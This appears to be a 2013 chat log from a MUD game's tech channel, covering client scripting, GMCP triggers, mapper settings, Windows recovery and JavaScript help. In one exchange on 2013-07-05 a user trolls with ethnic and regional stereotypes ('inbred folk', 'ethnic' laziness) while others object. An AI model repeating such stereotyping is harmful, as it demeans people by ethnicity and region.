T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ayasinda Tech: no, abe's always right
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: history proves me correct
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Pei Tech: how do i check to make sure another plugin is loaded (by plugin ID preferably) in a OnPluginInstall function?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://www.aardwolf.com/wiki/index.php/Clients/MushclientGMCP
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Look at the first code box where the OnPluginBroadcast is, he's loading the gmcp plugin functionality, you should be able to use the logic to figure the rest out yourself
T3/r7/2013-07-04.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: what books or manuals would you recomend for javascript? w3school is nice but doesn't hint the possible problems in one topic - last one took 4 hours to solve:P
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: codeacademy.com
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Turie Tech: I agree with Cheezburger
T3/r7/2013-07-04.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thanks, haven't seen that one
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Turie Tech: There are 6 different codes they teach I think.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: python, ruby, js i know for sure. I think also PHP and ASP
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Turie Tech: Python, Ruby, JavaScript, PHP, APIs, HTML/CCS
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: CSS*
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endtime Tech: is there an easy work around for telling mapper extender not to use certain portals to go to low level areas? for instance, i keep trying to go somewhere in this range via SOH and the security guard is a very tough fight at level 90.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: you need to set the level of the portal in the mapper
T3/r7/2013-07-04.txt.gz:{chan ch=tech}ElFeneri Tech: buy a trivia portal to soh :-P
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Turie Tech: You need to set the a level for exits too.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: you could change the level of the portal to SOH to be something better
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endtime Tech: guess i could change the level of SOH to like 220 or something...nod
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ontuct Tech: you could set the door south to the guard at 100
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Scars Tech: that's probably a better solution
T3/r7/2013-07-04.txt.gz:{chan ch=tech}ElFeneri Tech: 220 is better or you'll get stuck there when you're on your way to black rose
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endtime Tech: oooh how do you set a level check on a door? that is news to me
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ontuct Tech: right click, change exit level lock 
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Endtime Tech: thanks for the suggestions
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Ontuct Tech: will work to keep you out of wyrm too
T3/r7/2013-07-04.txt.gz:{chan ch=tech}ElFeneri Tech: anyone having trouble resolving aardwolf.org ip address?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}RedRain Tech: no
T3/r7/2013-07-04.txt.gz:{chan ch=tech}ElFeneri Tech: well, I do. Strange.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Prince Wario Tech: does anyone know how to get your mouse cursor back on a mac, mines gone
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Prince Wario Tech: invisible
T3/r7/2013-07-04.txt.gz:{chan ch=tech}ElFeneri Tech: I think you might have to buy a new mac.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Vonliege Tech: they sell them in three-packs down at the apple store
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Prince Wario Tech: yuck yuck
T3/r7/2013-07-04.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: buy apple shares and go complain at the share holder meetings
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Prince Wario Tech: gotit
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: windows 7 has a self contained reformat ability right?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: if this is true anyone know how to start that process?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Format? I don't think thats the word you're looking for. Are you adding an additional hard drive?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: if this is true anyone know how to start that process?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: oops
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: Reformatting is what its always been called, and no, I simply want to wipe its existing hard drive, essencially, reformatting the hard drive bakc to new
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: so you're wanting to erase everything off of the hard drive, and leave it blank?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: or are you trying to do a factory recovery, which will leave it with a fresh install of windows
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: thats what im trying to do
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: ... which =p
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: factory recovery, think I figured it out actually
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: If you don't care about doing a deep format and rewriting every single bit on the drive, just open up computer management and then disk management, remove the partition and then create a new one.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Factory recover depends on what brand of computer you've got.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: kk. And it's usually something thats added by the manufacturer, but if its something new in 7, not something i'm familiar with
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: and nod, what CeriQ said
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: Hmm, CeriQ , this computer has been running terribly slow, really think it needs a complete wipe
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Factory reset is usually done from a boot menu if it's a laptop. It's not something you can do from inside windows.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: You can revert the state of your windows installation, assuming you haven't removed the recovery points, but that won't clear documents/installed programs.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Depends on the computer, Cer. It may not even be built in. may still be shipping cds/thumb drive to do it.. but thats unlikely these days
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Yeah, it depends, either it's on external media, burn yourself media or it's during boot, but it can't be done from within windows.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Not neccesarily true, cer.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: my neice uses this and downloads tons of games which I think may or may not have contained a virus, as well as overloading the hard drive with useless crap so I have it doing factory recovery which it states will return it to "out of box condition"
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Alrighty then, if it's working then you'll be fine. It should wipe everything and it should be like new, minus any possible spindown due to wear and tear on the cooling.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: In what way am I wrong Daloran?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Figured that might be taken as aggressive, didn't mean it like that, just curious. :P
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Some systems have the option to start the factory recovery from inside windows.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Oh. I've never ever seen that, but nothing is impossible I guess.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Mind, all it does is reboot the system in to the recovery mode, same as if you did it on start up..
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: But its sometimes in the help/support menus
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: I did this while the computer was booting up fyi
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Ah, right. That doesn't sound impossible. Just change the boot record to point to the recovery instead of windows, issue a restart, done.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Arystul Tech: you can revert to a restore point within windows, I've never seen the option to restore to factory within windows
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: it has on some systems existed.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}CeriQ Tech: Arystul - He's talking about the brand specific way of doing it, where they've included a small program in the windows installation that initiates the restore. Mind you that the restore itself still runs outside of windows.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Well, mostly irrelevant details anyway
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Tech: CeriQ is agreeing with that Daloran person again...
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: Pearson running a 4th of july sale.. 40% off all eligible books/ebooks/training materials.
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Turie Tech: Is this for higher ed?
T3/r7/2013-07-04.txt.gz:{chan ch=tech}Daloran Tech: hmmmm. They sell test prep stuff for IT certs.. im not sure how far the sale extends though
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Anyone know if theres a way to use Mushclient mapper and such within TF? or some other command line client?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: it could be done, yes...the mapper file is just a sqlite db file, and the MUSHclient mappe stuff is written in lua...and while there is a patch to put lua into tinyfugue, you can use lua even without the patch using tinyfugue's /sys, /sh and /quote functions
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: I have tinyfugue put room info into a mysql database, though, which I've used both with the database on the same machine as tinyfugue as well as remotely
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: the telopt.tf file I have on my site is set up to populate a mysql database
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Hmm.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: That sounds like its maybe beyond my abilities
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: yeah, you definitely can't just "drop in" the MUSHclient mapper, it'd take some doing
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Nod, i knew that. I just thought maybe there was something that was a premade solution. I know there was a proxy to do something similar.. but wasnt sure of its extent
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: the proxy uses its own different mapper database, although it has an import utility
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: gotcha.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: the proxy itself only runs on Windows machines, as it uses .NET...http://code.google.com/p/proxymud
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: ah... that'd defeat the purpose a bit
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: you can access it from any OS, it'd just have to run on doze
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Nod, was looking to set up a linux server for remote tinkering and stuff via command line.. no particular objectives.. but if it needs to run under windows.. would need to run it in a VM, or something
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: and that being said, I dunno if "mono" (an opensource x-platform .net framework) would work with the proxy
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: lol.. probably also beyond me if it requires much tinkering. I've got my hands full with learning other stuff presently unfortunately
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Well, thanks Abe =)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know if there's a way to irc using udp ?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Vamp... why would you want to do such a thing? And I'm not sure you're asking the right question
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran okay, is there a way to connect to a public irc server using udp rather than tcp?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran, i can't connect to irc, openvpn, https:// etc lately via tcp
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: someone suggested i might try using a tunnel, but i can't do that either it seems.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Vamp... you wouldn't want to IRC over UDP.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: so i thought maybe i could just try to go via udp to begin with, rather than use a tunnel
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran, i wouldn't?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: No. UDP has no guarantee that the packets will make it from A to B. 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: TCP will.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran ok. 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: for something like a chat or messaging application, you wouldn't want it dropping messages as a result.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran any other ideas on how to avoid failed connections do to weird -rst packets?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: -rst packets? I'm afraid I don't know what you mean
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran it's some tcp packet that resets a connection every time i try to use ssl , ssh, or https://
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: uh.. what kind of ISP do you have vamp?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Daloran a sucky one
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: being..."
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: ?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: the whole fun of IRC is to type and record the time-dated lines of wisdom - requires a decent irc client
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Because it sounds like you're trying to do something you're not supposed to be doing.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: does anyone know if there is a JS code to make most browsers work like chrome does with a <input type="time"> ... seems FF/IE dont support it yet
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Dysan Tech: look for a time input polyfill
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Shue Tech: hi. how do i change the colour grey in mushclient?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: in html/javascript: m2_probability=document.getElementById('Im2').value ... is this the quickest way to do or is there another way. quickest meaning less cpu time.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: getting an html element value to a variable
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Bamboo Tech: How do I assign client side alias to MUSH? Help won't start
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: first, fix your second sentence: http://support.microsoft.com/kb/917607
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: and note that all helps are on the MUSHclient site
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Bamboo Tech: Thanks
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: also, the aard MUSHclient package's site has tons of great resources...http://code.google.com/p/aardwolfclientpackage/wiki/Introduction?tm=6
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Skyris Tech: how do i set all these windows in mushclient to reset defualt 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Frolo Tech: something like resetaard or so
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Newchange Tech: Is it normal for me to lose my aliases / triggers when i update my mush
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you don't follow upgrade directions on the website yes.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Newchange Tech: oops haha :D
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Did you create a backup before upgrading?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Newchange Tech: yup
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Newchange Tech: Was just wondering
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Good then, you can still follow the directions then.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And your mapper file, how is that?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Newchange Tech: Hmm. it's deleted as well, and it just occurred to me i may have overriden the database containing the backups
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Newchange Tech: not that it's a big deal i can figure this out
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: is there a db of the area names from GMCP against the actual area names?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: areas keyword
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: ah cool thx
T3/r7/2013-07-05.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: im doing some html stuff for chrome. is there an easy way to make it show automatically variables when they change? its a pain to type them in console..
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Add the variable to an array, and then write a function to loop through it, and do console.log(). Then it'll print out the changed ones.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You'd need a lookup table of intial values, to compare to. but pretty easy overall.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thanks:)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: how do i get cmud to send a GMCP request to aard? 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: do i use #sendsb 201 request area, for example>
T3/r7/2013-07-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: #sendsb 201 "request area", yeah
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: hm also, if i make a gmcp trigger on char.status, i assume this will trigger everytime my state changes?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: every time anything in char.status changes
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: cool hha much easier to script
T3/r7/2013-07-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: to check if it's a state change, you can do something like #if (%gmcp.char.status.state != %gmcp.olddata.state) .... 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: neat didn't realize area info was in gmcp, what data does it provide?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: cool i didn't know there was olddata 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: room.area { "id":"manor3", "name": "Aardwolf Estates 2000", "x": 54, "y": 16, "z": 0, "col": "", "flags": "manorarea" }
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Oh that's right, was added for lasertag area....
T3/r7/2013-07-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Neat, wish it had levels range too..
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: anyone has an updated spellup script for cmud>
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: using gmcp
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: you don't use gmcp for spellups, although you can use gmcp within a spellup script just to know that you're standing and have mana
T3/r7/2013-07-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: gmcp doesn't really have anything for spellups, you'd need to use tags
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: danj has a tags-based zmud spellup script, and iirc davos had a tags-enabled cmud one
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: ah i see.. i thought about using gmcp to track changes in state, so u spell up when ur done fighing or go from sleeping to standing
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: hmm does davos have a website? don't seem to see it on google
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: have you looked at cmud's repository?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: there's a button in the toolbar of cmud where you can get scripts
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: ahh no luck :(
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: thx tho i'll try to track it down
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: hmm charneus doesn't play anymore huh.. he was the cmud go to guy last time i played
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: he's always here...he's etzli
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: davos's stuff had been hosted by charneus at davos.aardcharn.com, but that site's gone, I just threw Davos's stuff up at http://mikeride.chaosnet.org/abelinc/scripts/davos/
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: thanks Abelinc, thats really helpful :)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: so.. is it a regional thing that flash drives are referred to as "USBs"? 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Turie Tech: USB is the drive.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: No, USB stands for universal serial bus.. the interface to which you would plug in many types of peripherals, including USB thumb drives.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Nothing about the term "USB" implies that it is a flash drive
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: personally, I think its up there with calling a PC tower the "CPU"
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: Frie nods at Daloran.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: But I keep hearing people refer to them as "USBs" .. and its .... annoying, if not also confusing at times
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: Daloran, if that is a regional thang, are there a lot of hillbillies bumpkins yokels and inbred folk in Antioch CA
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Hanslanda Tech: you've never heard of the Beverly Hillbillies?
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: I never said I'd heard it here, Zade. Actually more frequently I hear it at work, which is in Mt View. Though what prompted it is looking at stuff on kickstarter.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Sonshi Tech: next time someone asks for one, hand them a usb mouse.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: that annoying practice is likely an ethnic thing 
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Zade... stop trolling.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: seriously
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Hanslanda Tech: let him troll.  We miss Druzil...(be honest)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Yes, seriously stop trolling.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: there is an ethnic practice by some white middle-aged matrons to call something wrongly by a name associated with that name -- when that happens, i give them a quizzical look and politely challenge them on their mistaken word usage - i may learn something (a new label to use on a product), they may learn something (the right label to use on a product)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Hanslanda Tech: race has no bearing on that.  You should spend more time around proper hispanic matrons.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: Daloran, look in a mirror when misapplying the word troll
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: that "laziiness" in labels is indeed ethnic
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Hanslanda Tech: and just listen to the Italians.  "Thing" seems to be a universal label for everything they want to talk about.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: ethnicity actually has nothing to do with it, Zade.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: wrong, Daloran
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: No, I'm not.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Hanslanda Tech: it may be involved as far as which labels are used, but every conceivable subgroup of humanity has issues with using the correct terminology.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Zade Tech: Daloran, you are too "stuck up" and intoleramt in being (wrongly) "politically correct" -- (political correctness disease)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Vonliege Tech: (Debate)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: Not really Zade. That's not really relevant either. Von's correct though, it's gone past the point of belonging on this channel. So I'm going to leave it.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Vonliege Tech: (Debate)(Debate)(Debate)(Debate)(Debate)
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Tech: Daloran peers intently at Vonliege.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Vonliege Tech: oop... sorry bout that spam
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Hanslanda Tech: [SPAM]
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Frie Tech: no your not they need to move along
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Vonliege Tech: yup.. that's the stuff
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Daloran Tech: No you're not. It was intentional.
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Sonshi Tech: now with more ham!
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Arnica Tech: bacon mum
T3/r7/2013-07-05.txt.gz:{chan ch=tech}Justar Tech: quick question, if Slist type = 2, does that mean that spell can be cast on others?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: what does the "Recovery no." in Slist mean? is it the spell no. of the spell under recovery?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: It's the serial number reserved for the recovery of that spell.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: or skill, for that matter.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: ohh, so the recovery for spell id:542 for example, would not necessarily by 542?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: Justar carries a handful of beads.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: For instance, Stealth's serial number is 559, but its recovery is 28.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: ahh ok
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: thanks :)
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: anyone had experience with GMCP triggers in cmud bugging out?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: some previously working GMCP triggers suddenly just stopped responding 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Which ones?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: somehow my repop trigger stopped working
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: com.repop
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: was working yesterday suddenly stopped workin
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: comm.repop? Not com.repop, right?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: comm.repop yea
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: typo sorry.. its really weird
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Silly question, but protocol gmcp shows that comm is on, right?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: yep tis on
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: You tried restarting CMUD?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: yep did that couple times already
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, and the "Type" is still set to "GMCP" under the trigger?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: yeps
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: As well as "Trigger on trigger" and "trigger on newline" being checked? And enabled?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: the GMCP repop trigger worked yesterday, suddenly stopped working today lol
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: trigger on trigger is checked, newline wasn't, worked yesterday, but i'll try checking it now just to see
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course, the last bit is to check the code in the repop trigger. I know sometimes I mistakenly type some extra character or delete something on accident and never notice. :\
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: ah cool now it works with trigger on newline
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: weird, it was working yesterday without the trigger on newline
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Weird. Oh well, glad it's working again.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: thanks for your help :)
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure thing. :)
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Tech: Book of Etzli should finish converting all his CMUD scripts to Lua. ;)
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Justar Tech: ah converting is suchhh a hassle
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really. I've found they run a bit more smoother on CMUD when they're in Lua. :p
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Book of Etzli Tech: My entire exp tracker is in Lua.
T3/r7/2013-07-06.txt.gz:{chan ch=tech}Vonliege Tech: can variables be assigned via the KB/command line in aardmush?
T3/r7/2013-07-06.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: html/javascript. i have one variable defined in the main script. there is one immediate for-loop going on that uses that variable. chrome say's its not defined. when i check it in the console, its quite well defined. meh? 
T3/r7/2013-07-06.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh. it was declared after the loop. thought variable definitios were not picky of their placement...
